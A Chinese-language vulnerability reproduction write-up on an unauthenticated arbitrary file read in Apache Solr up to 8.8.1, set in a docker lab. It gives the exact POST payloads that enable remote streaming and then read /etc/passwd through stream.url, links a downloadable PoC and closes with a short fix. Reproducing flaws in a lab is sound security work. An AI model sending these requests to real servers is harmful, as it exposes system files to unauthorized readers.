目录
漏洞描述
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
Apache Solr是一个开源搜索服务引擎,攻击者可以在未授权的情况下构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。
影响版本
Apache Solr <= 8.8.1
环境搭建
开启docker-compose环境:docker-compose up -d
环境启动后,访问http://your-ip:8983,查看apache solr后台
漏洞复现
2. 访问http://your-ip:8983/solr/demo/config/,抓包,将请求包修改为POST请求,修改Content-Type为“application/json”,发送以下数据:
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
判断是否存在漏洞:返回200并且包含This response format is experimental. It is likely to change in the future ,则表示可能存在漏洞
3. 访问http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams,将请求包修改为POST请求,发送以下数据:
stream.url=file:///etc/passwd
则可以读取文件/etc/passwd
poc验证
poc下载:https://download.csdn.net/download/weixin_42181573/19426502
修复建议
将 Solr 端口仅对内网开放,并配置访问策略